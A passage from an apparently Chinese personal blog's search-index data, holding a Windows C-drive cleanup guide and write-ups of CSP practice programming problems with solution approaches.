游记"},{"content":"C盘空间的清理一直是Windows用户的老大难问题，用着用着空间就没了，这里分享一些清理C盘空间的方法。\n除非你的C盘已经非常满了，否则不建议完全删除或禁用缓存一类的文件（如缩略图缓存），它能显著提升电脑速度。即使C盘很满，我也建议先扩容——当然，这就不是本文所要讨论的范畴了。\n空间分析 首先下载 WinDirStat，用它分析C盘的空间利用情况。进去之后选C盘，然后它就会开始扫描分析你的C盘内容。界面是英文的，但连猜带蒙应该也能看懂。\n扫描完成后，它能够以很直观的图表呈现C盘的各个区域占用了多大。上方是C盘文件树和按类型的空间占用情况，下方则是将不同文件和目录分别染色之后，用块大小表示的空间占用情况。比如左上方的黄色块，对应的就是占用5GB的开发工具vscode cpptools缓存目录；而右边巨大的紫色块则是Windows搜索索引文件Windows.edb。\n或者你也可以使用 TreeSize，其免费版相比WinDirStat有颜值更高的用户界面和各方面都更好的性能，但没有下方的占用情况块状图。如果你有需求恰巧也很有钱，可以购买其Personal版本，功能多一些。\n如果你找到了大量占用C盘空间的元凶，请勿直接删除它！这可能导致系统或者应用程序无法正常启动。建议在Google或者 必应 搜索引擎搜索文件或者文件夹名，以确认是否能删除；如果没有什么非常必须的理由，不要用百度。 如果遇到英文网站，不要直接退缩，能读就读，不能读也可以谷歌翻译看看，里面也可能有很有价值的信息。\n下面会时不时整理一些我遇到的切实可行的方法，供大家参考。在Windows 10 21H1测试通过，但可能不适用于所有系统版本。\nWindows系统和Microsoft应用 Microsoft 社区 有很多关于Windows清理的有用建议，比如什么系统文件能不能删除等，在搜索的时候可以多多留意。\nWindows搜索索引 参考了 C 盘清理教程丨 24G 大的“Windows.edb” 是什么文件，可以删除吗？-『白云居』 (baiyunju.cc)。\n常表现为有一个巨大的C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.edb文件。\n如果你不需要在Windows搜索中直接搜索到文件记录的内容（如某个代码文件中的某个语句），你可以在 “此电脑” 中，右键盘符（不止C盘）选择“属性”，禁用“除了文件属性外，还允许索引此驱动器上文件的内容”，选择“适用于子目录和文件”，然后等待系统应用属性（很慢），然后参考下一段的方法重建索引文件。这样可以显著减小索引文件的大小。\n如果想将它移出C盘，前往Windows设置 - 搜索 - 搜索Windows - 高级搜索引擎索引器设置 - 高级，选择一个新的位置，然后点击重建索引。\nWindows Subsystem for Linux (WSL 2) 常表现为C盘内一个大约4GB的vhdx文件。\n如果希望将它移出C盘，请参见 如何将 WSL2 迁移至其他盘。\nWindows自带 “磁盘清理” 工具 这个工具可以用来清理硬盘内的传递优化文件等一些杂七杂八的文件。\n前往 此电脑 - C盘 - 属性 - 磁盘清理（等一下）- 清理系统文件，你可以根据下面的描述决定是否清理某一项文件。\n另外，你也可以从Windows设置 - 系统 - 存储中管理你的C盘使用情况。\n传递优化 简单来说，就是Windows更新服务器不足，所以设计了传递优化功能，能够从其他电脑上下载别人已经更新好的更新文件，类似于BT下载。不能只索取而不付出，所以如果你允许从其他电脑下载，你的电脑也会为别人服务。\n如果想关闭，前往Windows设置 - 更新和安全 - 传递优化，关闭 “允许从其他电脑下载”。\n更改个人文件夹目录 如果你不知道什么是UWP应用什么是桌面应用，全都做就行了。\n对于UWP应用的默认设定，前往Windows设置 - 系统 - 存储 - 更改新内容的保存位置，选择C盘以外的位置，点击应用。\n对于Windows桌面应用，打开 “此电脑”，分别进入“下载”“视频”“图片”“文档”“音乐” 文件夹的属性，选择 “位置” 选项卡，选择另外一个位置，别忘了点击“移动”。\nMicrosoft OneDrive 在C:/Users / 用户名 / AppData/Local/Microsoft/OneDrive内有大量日志文件。\nMicrosoft Edge 在C:/Users / 用户名 / AppData/Local/Microsoft/Edge/User Data/BrowserMetrics内有大量单个4MB的遥测文件，可以删除。\n微软 已经确认了此 bug，但半年多了，还没修。\n开发工具 Visual Studio Code C++ IntelliSense功能缓存 参考了 .vscode caching too much data since update。\n常表现为在C:\\Users\\ 你的用户名 \\AppData\\Local\\Microsoft\\vscode-cpptools\\ipch中有大量20MB左右的ipch文件。\n在VSCode设置中搜索 \u0026ldquo;intellisensecache\u0026rdquo;，你可以改变缓存位置和缓存大小（单位MB）。\nAndroid Studio 软链接（符号链接）是一个泛用性比较强的办法，理论上适用于所有较大而难以改变位置的文件 / 目录。以下方法均测试通过。\nAndroid Studio的构建密钥、AVD等均存放于~/.android目录下，可以用类似于以下的命令将其移至其他目录。关于图形化的操作方法以及其他知识，请翻阅参考文献。\n此外，~/.gradle目录也不小，可以迁走。\n参考：https://sspai.com/post/66834\n日常应用 QQ/TIM 以TIM为例，左下角选项 - 设置 - 文件管理中可以管理APP所存储的文件，还可以移动接收文件的文件夹。\n聊天图片通常非常大，存储于C:\\Users\\ 用户名 \\Documents\\Tencent Files\\QQ号 \\Image。“C2C”文件夹中存储了私人聊天的图片，而 “Group2” 文件夹存储了群聊图片，可以更细致地手动清理。\n腾讯系软件的日志位于C:\\Users\\ 用户名 \\AppData\\Roaming\\Tencent\\Logs。\nNVIDIA显卡驱动 在C:/ProgramData/NVIDIA Corporation/Downloader内。显卡驱动安装文件一般大至400MB，很可观。\n","date":"September 10, 2021","matchCount":0,"permalink":"/post/clean-c-partition/","preview":"","title":"我的 C 盘空间清理方法论"},{"content":"所有代码均已上传至 homework/CSP-Training at master · cyp0633/homework (github.com)。不保证代码均正确，正确的也不保证为最优解，可以查看Commit详情进一步了解。如无说明均用C++ 实现。\n1. 在霍格沃茨找零钱 个人难度评级：2\n问题描述 如果你是哈利 · 波特迷，你会知道魔法世界有它自己的货币系统 —— 就如海格告诉哈利的：“十七个银西可 (Sickle) 兑一个加隆 (Galleon)，二十九个纳特(Knut) 兑一个西可，很容易。”现在，给定哈利应付的价钱 $P$ 和他实付的钱 $A$，你的任务是写一个程序来计算他应该被找的零钱。\n输入形式 输入在 $1$ 行中分别给出 $P$ 和 $A$，格式为 “Galleon.Sickle.Knut”，其间用 $1$ 个空格分隔。这里Galleon是 $[0, 10^7]$ 区间内的整数，Sickle是 $[0, 17)$ 区间内的整数，Knut是 $[0, 29)$ 区间内的整数。\n输出形式 在一行中用与输入同样的格式输出哈利应该被找的零钱。如果他没带够钱，那么输出的应该是负数。\n样例输入1 复制代码 10.16.27 14.1.2810.16.27 14.1.28 样例输出1 复制代码 3.2.13.2.1 样例输入2 复制代码 14.1.28 10.16.2714.1.28 10.16.27 样例输出2 复制代码 -3.2.1-3.2.1 解题思路 建议不要全部化为Knut再计算，直接对应相减然后借位即可。\n本题一个坑，没带够钱的情况下，输出的数只有Galleon位有负号，实际上的意思是三个数都有负号，后面两个不需要输出。也就是说，” 样例输出2“的意义是找回 - 3 Galleon, -2 Sickle和 - 1 Knut。我建议的处理方式是，如果在借位之前最高位是负值，则将每一位取相反数，并输出一个负号，然后照常借位计算。\n2. 最简单的计算机 个人难度评级：1\n问题描述 一个名叫是 $PigHeadThree$ 的研究组织设计了一台实验用的计算机，命名为 $PpMm$。$PpMm$ 只能执行简单的六种命令 $A$，$B$，$C$，$D$，$E$，$F$；只有二个内存 $M1$，$M2$；三个寄存器 $R1$，$R2$，$R3$。六种命令的含义如下：\n命令 $A$：将内存 $M1$ 的数据装到寄存器 $R1$ 中；\n命令 $B$：将内存 $M2$ 的数据装到寄存器 $R2$ 中；\n命令 $C$：将寄存器 $R3$ 的数据装到内存 $M1$ 中；\n命令 $D$：将寄存器 $R3$ 的数据装到内存 $M2$ 中；\n命令 $E$：将寄存器 $R1$ 中的数据和寄存器 $R2$ 中的数据相加，结果放到寄存器 $R3$ 中；\n命令 $F$：将寄存器 $R1$ 中的数据和寄存器 $R2$ 中的数据相减，结果放到寄存器 $R3$ 中。\n你的任务是：设计一个程序模拟 $PpMm$ 的运行。\n输入形式 有若干组，每组有 $2$ 行，第一行是 $2$ 个整数，分别表示 $M1$ 和 $M2$ 中的初始内容；第二行是一串长度不超过 $200$ 的由大写字母 $A$ 到 $F$ 组成的命令串，命令串的含义如上所述。\n输出形式 对应每一组的输入，输出只有一行，二个整数，分别表示 $M1$，$M2$ 的内容；其中 $M1$ 和 $M2$ 之间用逗号隔开。\n样例输入 复制代码 100 288 ABECED 876356 321456 ABECAEDBECAF100 288 ABECED 876356 321456 ABECAEDBECAF 样例输出 复制代码 388,388 2717080,1519268388,388 2717080,1519268 解题思路 果然是最简单的…… 什么，你不会switch语句都不会用吧？\n3. 相同生日 个人难度评级：2\n问题描述 在一个有 $n$ 个人的大班级中，存在两个人生日相同的概率非常大，现给出每个学生的学号，出生月日，试找出所有生日相同的学生。\n输入形式 第一行为整数 $n$，表示有 $n$ 个学生，$n \\le 200$。此后每行包含一个字符串和两个整数，分别表示学生的学号 (字符串长度为 $11$ 位) 和出生月 $(1 \\le m \\le 12)$ 日 $(1 \\le d \\le 31)$，学号、月、日之间用一个空格分隔。\n输出形式 对每组生日相同的学生，输出一行，其中前两个数字表示月和日，后面跟着所有在当天出生的学生的学号，数字、学号之间都用一个空格分隔。对所有的输出，要求按日期从前到后的顺序输出。对生日相同的学号，按输入的顺序输出。\n样例输入 复制代码 6 07101020105 3 15 07101020115 4 5 07101020118 3 15 07101020108 4 5 07101020111 4 5 07101020121 8 106 07101020105 3 15 07101020115 4 5 07101020118 3 15 07101020108 4 5 07101020111 4 5 07101020121 8 10 样例输出 复制代码 3 15 07101020105 07101020118 4 5 07101020115 07101020108 07101020111 8 10 071010201213 15 07101020105 07101020118 4 5 07101020115 07101020108 07101020111 8 10 07101020121 解题思路 建立 vector\u0026lt;string\u0026gt; birthday[13][32]，然后将对应生日的同学之间 push_back 进对应日期的 vector 即可。要求同日期按输入顺序输出，不需 priority_queue 之类。虽学号是数字但不能直接用 long long，当然你输出保留11位，前面补0也可以，主要就是前导0的问题。\n4. 日历问题 个人难度评级：3\n问题描述 在我们现在使用的日历中, 闰年被定义为能被 $4$ 整除的年份，但是能被 $100$ 整除而不能被 $400$ 整除的年是例外，它们不是闰年。例如：$1700$, $1800$, $1900$ 和 $2100$ 不是闰年，而 $1600$, $2000$ 和 $2400$ 是闰年。 给定从公元 $2000$ 年 $1$ 月 $1$ 日开始逝去的天数，你的任务是给出这一天是哪年哪月哪日星期几。\n输入形式 输入包含若干行，每行包含一个正整数，表示从 $2000$ 年 $1$ 月 $1$ 日开始逝去的天数。输入最后一行是 $-1$, 不必处理。可以假设结果的年份不会超过 $9999$。\n输出形式 对每个测试样例，输出一行，该行包含对应的日期和星期几。格式为 “YYYY-MM-DD DayOfWeek”, 其中 “DayOfWeek” 必须是下面中的一个： \u0026ldquo;Sunday\u0026rdquo;, \u0026ldquo;Monday\u0026rdquo;, \u0026ldquo;Tuesday\u0026rdquo;, \u0026ldquo;Wednesday\u0026rdquo;, \u0026ldquo;Thursday\u0026rdquo;, \u0026ldquo;Friday\u0026rdquo; and \u0026ldquo;Saturday“。\n样例输入 复制代码 1730 1740 1750 1751 -11730 1740 1750 1751 -1 样例输出 复制代码 2004-09-26 Sunday 2004-10-06 Wednesday 2004-10-16 Saturday 2004-10-17 Sunday2004-09-26 Sunday 2004-10-06 Wednesday 2004-10-16 Saturday 2004-10-17 Sunday 解题思路 这个题结合 代码 看得更明白。\n打表，建立五个数组，内容如下：\n$[2000,9999]$ 年范围内，每一年的最后一天是1999年12月31号之后的第几天，即只需计算每年天数的前缀和； $[2000,9999]$ 年范围内，每一年是否是闰年（这个不要用 true 或者 false 表示，否则代码会超过100KB而无法提交）； 闰年中，每一个月的最后一天是上一年12月31日之后第几天，即每个月天数的前缀和； 平年中，同上； 天数模7，每个余数所对应最后日期的星期，第1个值不是 Monday 也不是 Sunday，而是 Saturday（2000/01/01就是周六，过7的倍数天还是周六）。 首先模7算完星期之后，要将输入的天数 + 1，转换为”2000年1月1日起的第几天 “。\n然后枚举第一个数组，如果某个年份（减2000）对应的值大于等于天数，则该年份就是所求日期年份。从天数中减掉数组中上一年对应的值（2000年不用），得到所求日期是这一年的第几天。如果天数减为0，则赋给它本年天数值（当然，直接输出12月31日也未尝不可）。\n分是否闰年，枚举第三 / 四个数组，以和上面相似的方式确定月份。自然也就很容易得到日期。\n格式化输出中，使用 %02d，输出整型并在不足2位的时候补0。\n5. 小希的数表 个人难度评级：4\n问题描述 Gardon昨天给小希布置了一道作业，即根据一张由不超过 $5000$ 的 $N$ $(3 \\le N \\le 100)$ 个正整数组成的数表两两相加得到 $N*(N-1)/2$ 个和，然后再将它们排序。例如，如果数表里含有四个数 $1$，$3$，$4$，$9$，那么正确答案是 $4$，$5$，$7$，$10$，$12$，$13$。小希做完作业以后出去玩了一阵，可是下午回家时发现原来的那张数表不见了，好在她做出的答案还在，你能帮助她根据她的答案计算出原来的数表么？\n输入形式 包含多组数据，每组数据以一个 $N$ 开头，接下来的一行有按照大小顺序排列的 $N*(N-1)/2$ 个数，是小希完成的答案。文件最后以一个 $0$ 结束。\n假设输入保证解的存在性和唯一性。\n输出形式 对于每组数据，输出原来的数表。它们也应当是按照顺序排列的。\n样例输入 复制代码 4 4 5 7 10 12 13 4 5 6 7 8 9 10 04 4 5 7 10 12 13 4 5 6 7 8 9 10 0 样例输出 复制代码 1 3 4 9 2 3 4 61 3 4 9 2 3 4 6 解题思路 设 $a$ 为原数字列表，$s$ 为和的列表。\n首先，由于 $s_i$ 和 $a_i$ 是从小到大排列的，反证法易证 $s_1=a_1+a_2$，$s_2=a_1+a_3$。然而 $s_3$ 并不一定是 $a_2+a_3$，而很可能是 $a_1+a_4$ 等。由此，我们需要枚举 $s_3$ 到 $s_{(n-1)*n/2}$，对于每一个 $s_i$，结合 $s_1$ 和 $s_2$，解出 $a_1$、$a_2$ 和 $a_3$，当它们均为正整数的时候才可能符合条件，能够往下进行。符合这里条件的 $a_2+a+_3$ 可能有多组，可能在后续步骤中会毙掉几组。\n然后，我们只需要找出 $s_j=a_1+a_i$，就可以算出 $a_i$。因为 $a_1$ 最小，所以 $s_j$ 排在较靠前的位置，比较好找。比如现在我们要找 $a_1+a_4$，如果将 $a_1$、$a_2$ 和 $a_3$ 两两组合算出和，然后将这些和从 $s$ 中剔除，那么可以证明 $a_1+a_4$ 就是剩下的当中最小的一个和，也就能比较容易地从 $s$ 中找出。当然，仍然要检验 $a_4$ 乃至后面所有的 $a_i$ 是不是正整数。\n现在我们找到了 $a_4$，那么该怎么找到 $a_5$ 乃至后面的数呢？我们可以仿照前面的方法，将前面已求出的数两两组合求和，将结果存入一个 set 中（毕竟剔除工作比较复杂）。在遍历每个 $s$ 的时候，如果 $s_i$ 的值处在该set中，则跳过。否则，这个值就是 $a_1+a_{j}$，$j$ 是已经确定的 $a$ 数量。然后，将这个 $a_j$ 分别与前面的 $a$ 相加，存入set，就可以及时维护这个set。\n所有 $a$ 的值都确定完成，你以为就得出解了吗？早着呢，这样你会WA掉测试点3、4、5、6和7。刚刚我们所求出的这套解，并不一定能满足题目的条件，也就是加出后面的和。既然已经假定所有的 $a$ 已经解出并符合题目要求，那么set中理应出现测试数据给出的所有的 $s_i$。继续遍历，对后面的每一个 $s_i$，都查找它是否在set中。如果不在，那么这组 $a$ 就不是符合条件的解，再取一个 $a_2+a_3$ 吧……\n你兴致勃勃地将代码交了上去，发现只解决了7。不同的 $a_i+a_j$ 组合可以得出相同的两个 $s$ 值。这时候再用set就明显不合适了，可以考虑使用同一个键值允许出现多次的set——multiset，同时将已经在 $s$ 中出现的和删除。很容易想到使用multiset的 erase 函数处理，但这个函数有多个重载，如果传入一个键值，它会删除该键值的 ** 所有 ** 元素。而如果传入一个指针 / 迭代器，就只会删除指向的这一个元素。我们的需求是出现一次删除一次，那当然要传入迭代器。\n6. 数塔 个人难度评级：2\n问题描述 给定一个数塔，如下图所示。在此数塔中，从顶部出发，在每一节点可以选择走左下或右下，一直走到底层。请找出一条路径，使路径上的数值和最大。\n9121510682189519710416 输入形式 输入时第一行一个整数 $n$，表示该数塔的行数，其余 $n$ 行表示该塔每行的数值\n输出形式 输出包含两行，第一行为最大路径上的数值之和， 第二行 $n$ 个数字为从上而下最大路径数值\n样例输入 复制代码 5 9 12 15 10 6 8 2 18 9 5 19 7 10 4 165 9 12 15 10 6 8 2 18 9 5 19 7 10 4 16 样例输出 复制代码 59 9 12 10 18 1059 9 12 10 18 10 解题思路 一道标准的搜索题，可以DFS也可以BFS，搜索过程中传递行号、列号、当前路径长度和用vector存储的完整路径。\n7. 斯诺克台球（不做了） 个人难度评级：6\n问题描述 斯诺克台球是一项古老而又时尚的运动，使用长方形球桌，台面四角以及两长边中心位置各有一个球袋，使用的球分为1个白球，15个红球和6个彩球共22个球。\n其中母球（白球）1只，目标球21只。目标球中：红球15只各1分、黄球1只2分、绿球1只3分、咖啡球1只4分、蓝球1只5分、粉球1只6分、黑球1只7分。\n选手需要使用球杆撞击母球去击打目标球来完成得分，每局开始时总是先从红球开始。击球顺序为先打进红球（每次击打允许多个红球同时落袋），然后必须任意指定一个目标彩球击打，如果该彩球被打进（打进后需要再摆回），然后接着击打红球，直到红球全部落袋，然后以黄、绿、咖啡、蓝、粉红、黑的顺序逐个击球（不再摆回），最后以得分高者为胜。任何时候红球落袋都不再摆回，任何时候因犯规导致彩球落袋，彩球必须摆回。\n斯诺克比赛由双方轮流击打，必须击打合规的目标球，打进则本方得到相应的分数并继续击打，未打进或犯规轮换为对方击打，未打进不得分，犯规将进行罚分处理。\n犯规规则如下：\n1. 当击打目标球时，如果先击打到或同时击打到一个或多个其他颜色的球，或者有其他颜色的球落袋，或者打空 (未击打到任何球)，则视为犯规。此时需要比较目标球的分值和与本犯规相关的其他颜色的球的分值，取其中最高的分值，如果该分值小于4，则对方加4分，否则对方加该分值。\n2. 当击打红球落袋后，继续击打任意彩球时打空，即未打击到任何球，对方加4分。\n相比正式的斯诺克比赛，本问题对规则进行了简化，任何时候都可以结束比赛并计算比赛结果，不考虑白球落袋的情况。\n信息化时代的智能台球桌能自动记录实际比赛时的击打记录，并传送到后台，但该记录仅仅是流水记录，并且无参赛选手的任何信息，需要你编程计算每场比赛的比分，同时需要计算单杆100分及以上的情况（单杆得分是指选手一次连续击打所得分数之和）。\n输入形式 输入第一行为正整数 $t$ $(t \\le 100)$，表示有 $t$ 组测试数据，每组数据代表一局比赛。\n在输入中，球的颜色表示为：\n**r - 红色球 y - 黄色球 g - 绿色球 c - 咖啡色球 b - 蓝色球 p - 粉红球 B - 黑色球 **\n接下来的每组数据包括若干行，每一行为一次击打的结果，为智能球桌记录下来的流水记录，每组数据最后一行为 - 1，表示每组数据的结束。\n流水记录包含用空格分隔的2个部分：\n首先撞到的球 落袋球及数量\n第一部分 “首先撞到的球” 为一个字符串，可以是 “rygcbpB” 中1个或多个字符组合（可能有多个字符 “r”）, 或为字符串“$NULL$”。为“$NULL$” 时，第二部分必为空，表示该次击打未撞击到任何球也没有任何球落袋。当红球落袋后继续击打任意彩球时，该部分为 “ygcbpB” 中的任意单个字符时都认为是合规的目标球。\n第二部分 “落袋球及数量” 为一个字符串，例如“r2gb”，代表本次击打有两个红球落袋，以及绿球和篮球落袋，红色球r后面有数字（大于 $0$ 小于 $16$），表示红球的落袋数，其他彩球后无数字。该部分可以为空，表示本次击打无球落袋。\n比赛在 $A$ 与 $B$ 之间进行，每局比赛总是由 $A$ 先开球。\n输出形式 输出为 $t+1$ 行，前 $t$ 行每行输出用冒号分隔的两个整数，表示每局比赛 $A$ 与 $B$ 之间的比分；最后一行输出用冒号分隔的两个整数，表示 $t$ 局比赛之后 $A$ 与 $B$ 之间获得的单杆 $100$ 分及以上的次数之比（单杆得分是指选手一次连续击打所得分数之和）。\n样例输入 复制代码 3 r r1 B r r2 c c r r1 b g -1 rp r1 r br2B NULL r r12 y y g p -1 rr r3 NULL r r1 yg y -13 r r1 B r r2 c c r r1 b g -1 rp r1 r br2B NULL r r12 y y g p -1 rr r3 NULL r r1 yg y -1 样例输出 复制代码 6:7 13:24 7:5 0:06:7 13:24 7:5 0:0 样例说明 第一局比赛：\nA击打红球，打进1个红球，得1分，比分为1:0\nA继续击打任意彩球，打到黑球，未打进，不得分，比分为1:0\n轮换为B击打红球，打进两个红球，得2分，比分为1:2\nB继续击打任意彩球，打到咖啡球，打进咖啡球，咖啡球摆回，得4分，比分为1:6\nB继续击打红球，打进一个红球，得1分，比分为1:7\nB继续击打任意彩球，打到蓝球，打进绿球，犯规，取分值最大者蓝球，绿球摆回，对方加5分，比分为6:7\n-1比赛结束\n第二局比赛：\nA击打红球，首先打到红球和粉球，犯规，打进1个红球和咖啡球，犯规，咖啡球摆回，取分值最大的粉球，对方加6分，比分为0:6\nB击打红球，首先打到红球，打进蓝球、2个红球和黑球，犯规，蓝球和黑球摆回，取分值最大的黑球，对方加7分，比分为7:6\nA击打红球，未打到任何球，犯规，对方加4分，比分为7:10\nB击打红球，打到红球，打进12个红球，加12分，比分为7:22\nB击打任意彩球，打到黄球，打进黄球，黄球摆回，得2分，比分为7:24\nB击打黄球，打到绿球，打进粉球，犯规，粉球摆回，对方加6分，比分为13:24\n-1比赛结束\n第三局比赛：\nA击打红球，打到2个红球，打进3个红球，加3分，比分为3:0\nA击打任意彩球，打空，未打到任何球，对方加4分，比分为3:4\nB击打红球，打到1个红球，打进1个红球，加1分，比分为3:5\nB击打任意彩球，打到黄球和绿球，打进黄球，犯规，黄球摆回，取分值最高的绿球，绿球分值小于4，对方加4分，比分为7:5 -1比赛结束\n3局比赛中无人单杆得分过100，最后一行输出0:0\n解题思路 大模拟做他🐎呢，笑死，根本做不出来😅\n8. 最少钱币数 个人难度评级：4\n问题描述 这是一个古老而又经典的问题。用给定的几种钱币凑成某个钱数，一般而言有多种方式。例如：给定了6种钱币面值为2、5、10、20、50、100，用来凑15元，可以用5个2元、1个5元，或者3个5元，或者1个5元、1个10元，等等。显然，最少需要2个钱币才能凑成15元。\n你的任务就是，给定若干个互不相同的钱币面值，编程计算，最少需要多少个钱币才能凑成某个给出的钱数。\n输入形式 输入可以有多个测试用例。每个测试用例的第一行是待凑的钱数值 $M$ $(1 \\le M \\le 2000，整数)$，接着的一行中，第一个整数 $K$ $(1 \\le K \\le 10)$ 表示币种个数，随后是 $K$ 个互不相同的钱币面值 $K_i$ $(1 \\le K_i \\le 1000)$。输入 $M=0$ 时结束。\n输出形式 每个测试用例输出一行，即凑成钱数值 $M$ 最少需要的钱币个数。如果凑钱失败，输出 “Impossible”。你可以假设，每种待凑钱币的数量是无限多的。\n样例输入 复制代码 156 2 5 10 20 50 10011 20156 2 5 10 20 50 10011 20 样例输出 复制代码 2Impossible2Impossible 解题思路 DP题，有点像完全背包。参考了 最少钱币数（DP）_Salmon_lee 的博客 - CSDN 博客。\n这道题的最优子结构性质是，可以先得出用前 $i$ 种面值得出 $j$ 元以内的最少钱币数。使用前 $i$ 种面值组合成 $j$ 元的最少钱币数，是 “使用前 $i-1$ 种面值组合成 $j$ 元的最少钱币数” 与“使用前 $i$ 种面值组合成 $j-val$ 元的最少钱币数 + 1，$val$ 为第 $j$ 种钱币的面值”的较小值，即状态转移方程：$dp_{i,j}=min(dp_{i-1,j},dp_{i,j-val})$。两层循环，第一层循环遍历各种面值的钱币，第二层循环遍历各种金额，均为从前往后遍历。二维DP示例代码在这里。\n那么可不可以压缩成一维呢？自然可以，将前i种面值的这一维压掉。状态转移方程变为 $dp_i=min(dp_i,dp_{i-val})$。\n注意多组数据，dp数组需要memset多次。\n9. 相等的多项式 个人难度评级：2\n问题描述 小明现在在学习多项式的展开：就是把一个形如\n$(x+a_1)(x+a_2)\u0026hellip;(x+a_n)$\n展开成如下形式：\n$x^n+b_1x^{n-1}+b_2x^{n-2}+\u0026hellip;+b_{n-1}x+b_n$\n比如 $(x+1)(x+2)=x^2+3x+2$\n$(x+1)^3=x^3+3x^2+3x+1$\n小明做了很多练习，但是不知道对错，现在请求你的帮助，判断小明的展开式是否正确。\n** 输入格式 ** 有多组测试数据。\n每组测试数据有三行，第一行是一个正整数 $N$，表示多项式最高指数。$N=0$ 表示输入结束，并且不需要处理。\n第二行N个整数ai，用空格隔开，$i=1，\u0026hellip;,N(-100 \\le a_i \\le 100)$\n第三行N个整数bi，用空格隔开，$i=1，\u0026hellip;,N，(-10^9 \\le b_i \\le 10^9)$\n40% 的测试数据 $1 \\le N \u0026lt; 5$；\n30% 的测试数据 $5 \\le N \u0026lt; 10$；\n20% 的测试数据 $10 \\le N \u0026lt; 15$；\n10% 的测试数据1$5 \\le N \\le 20$；\n** 输出格式 ** 对于每组测试数据，输出一行一个字符‘Y\u0026rsquo; 如果展开式是正确的，输出‘N’如果展开式错误。\n** 样例输入 ** 复制代码 2 1 2 3 2 3 1 1 1 3 3 1 4 0 0 0 1 0 0 0 1 02 1 2 3 2 3 1 1 1 3 3 1 4 0 0 0 1 0 0 0 1 0 ** 样例输出 ** 复制代码 Y Y NY Y N 解题思路 如果还记得二项式定理，这道题会好做很多。使用DFS，对每个因式分别选择乘上字母或者数字，边界条件为选择完所有因式，此时将该次数的因子加到结果多项式的数组对应项即可。\n题目输入的多项式是按次数由大到小排的，由 $n-1$ 到 $0$，而我们乘出的多项式数组应该反向与它比较。\n10. 选美比赛 个人难度评级：1\n问题描述 在选美大奖赛的半决赛现场，有 $n$ 名选手 $(2\u0026lt;n\u0026lt;100)$ 参加比赛。比赛结束时，要在现场按照选手的出场顺序宣布最后名次，获得相同分数的选手具有相同的名次，名次连续编号，不用考虑同名次的选手人数。如：\n选手数量： 7\n选手得分： 5，3，4，7，3，5，6\n宣布名次： 3，5，4，1，5，3，2\n请编程帮助大奖赛组委会完成半决赛的评分排名工作。\n输入形式 选手数量：7\n选手得分：5 3 4 7 3 5 6\n输出形式 选手的排名：3 5 4 1 5 3 2\n样例输入 复制代码 7 5 3 4 7 3 5 67 5 3 4 7 3 5 6 样例输出 复制代码 3 5 4 1 5 3 23 5 4 1 5 3 2 样例说明 本题的关键在于如何处理同分数的选手排名问题\n解题思路 用结构体存储选手，内含编号、得分和排名三个成员变量。\n输入得分顺便指定编号，按照得分降序sort一遍，赋给排名（注意：即使有多个第 $n$ 名并列，排在这些后面的仍然是 $n+1$ 名），然后再按照编号升序sort，输出即可。\n11. 蛇行矩阵 个人难度评级：2\n问题描述 蛇形矩阵是由1开始的自然数依次排列成的一个矩阵上三角形\n输入形式 正整数N表示层数，N不大于100\n输出形式 输出一个N行的蛇形矩阵，矩阵三角中同一行的数字用一个空格分开，行尾不要多余的空格。\n样例输入 复制代码 55 样例输出 复制代码 1 3 6 10 152 5 9 144 8 137 12111 3 6 10 152 5 9 144 8 137 1211 解题思路 首先构建第一列。容易观察得到，上下相邻的两个值有关系 $a_{i,1}=a_{i-1,1}+i-1 (2 \\le i \\le n)$。要是我还在上高中，也许能算出通项公式，但现在不一定了\n然后对于每一行，根据第一列构建剩下的列，根据关系 $a_{i,j}=a_{i,j-1}+i+j-1(1 \\le i \\le n, 2 \\le j \\le n-i+1)$。\n没必要真按照蛇形去构建，按照上面的方法可以直接打个表交上去，虽然完整的重新构建也不会超时就是了。\n12. 疫情期间 个人难度评级：3 | TLE了测试点1\n问题描述 正值新冠疫情期间，阿迪没法返回学校学习，他希望通过参加一些比赛来提高一下编程技能，同时做做运动。他收集了接下来的 $n$ 天里每一天的信息，包括健身房是否开放，或者互联网上是否有程序设计竞赛。\n第 $i$ 天可以有以下四种情况之一：\n该天健身房不开放，互联网上也没有竞赛 该天健身房不开放，但互联网上有竞赛 该天健身房开放，但互联网上没有竞赛 该天健身房开放，互联网上也有竞赛 每天阿迪要么休息，要么编写程序（如果该天有竞赛），要么做运动（如果该天健身房开放）。\n现在有一个限制条件：不能连续两天都去做运动，或者连续两天都编写程序。阿迪对自己要求很高，希望尽量多写程序或者多做运动，使得休息的天数尽量最少，求出这个天数。\n输入形式 输入的第一行为一个正整数 $n(1 \\le n \\le 100)$，表示接下来的天数。\n第二行为一个用空格分隔的整数序列 $a_1$、$a_2$、…、$a_n$ $(0 \\le a_i \\le 3)$，这里\n$a_i=0$，第 $i$ 天健身房不开放，互联网上也没有竞赛 $a_i=1$，第 $i$ 天健身房不开放，但互联网上有竞赛 $a_i=2$，第 $i$ 天健身房开放，但互联网上没有竞赛 $a_i=3$，第 $i$ 天健身房开放，互联网上也有竞赛 输出形式 输入阿迪可能休息的最小天数。注意限制条件：\n不能连续两天去做运动 不能连续两天编写程序 样例输入1 复制代码 4 1 3 2 04 1 3 2 0 样例输出1 复制代码 22 样例输入2 复制代码 7 1 3 3 2 1 2 37 1 3 3 2 1 2 3 样例输出2 复制代码 00 样例输入3 复制代码 2 2 22 2 2 样例输出3 复制代码 11 样例说明 在第一个样例中，阿迪在第一天编写程序，在第三天做运动，因此他仅有两天可以休息。\n在第二个样例中，阿迪可以在第1、3、5、7天编写程序，其他天做运动，因此没有哪天休息。\n在第三个样例中，阿迪可以在第1天或第2天做运动，但不能连续两天运动，因此他有一天休息。\n解题思路 暴搜90分。DFS传入天数、休息次数和上一天的行为，分为编程、运动和休息三种情况即可。\n其实90分也不错了，对吧？\n13.7，还是7 个人难度评级：1\n问题描述 输出7和7的倍数，还有包含7的数字例如（17，27，37\u0026hellip;70，71，72，73\u0026hellip;）\n输入形式 一个正整数 $N$。($N$ 不大于 $30000$)\n输出形式 从小到大排列的不大于N的与7有关的正整数，每行一个。\n样例输入 复制代码 2020 样例输出 复制代码 7141771417 解题思路 可以结合 to_string 和字符串 find 函数来找包含7的数字。\n14. 组个最小数 个人难度评级：1\n问题描述 给定数字0-9各若干个。你可以以任意顺序排列这些数字，但必须全部使用。目标是使得最后得到的数尽可能小（注意0不能做首位）。例如：给定两个0，两个1，三个5，一个8，我们得到的最小的数就是10015558。\n现给定数字，请编写程序输出能够组成的最小的数。\n输入形式 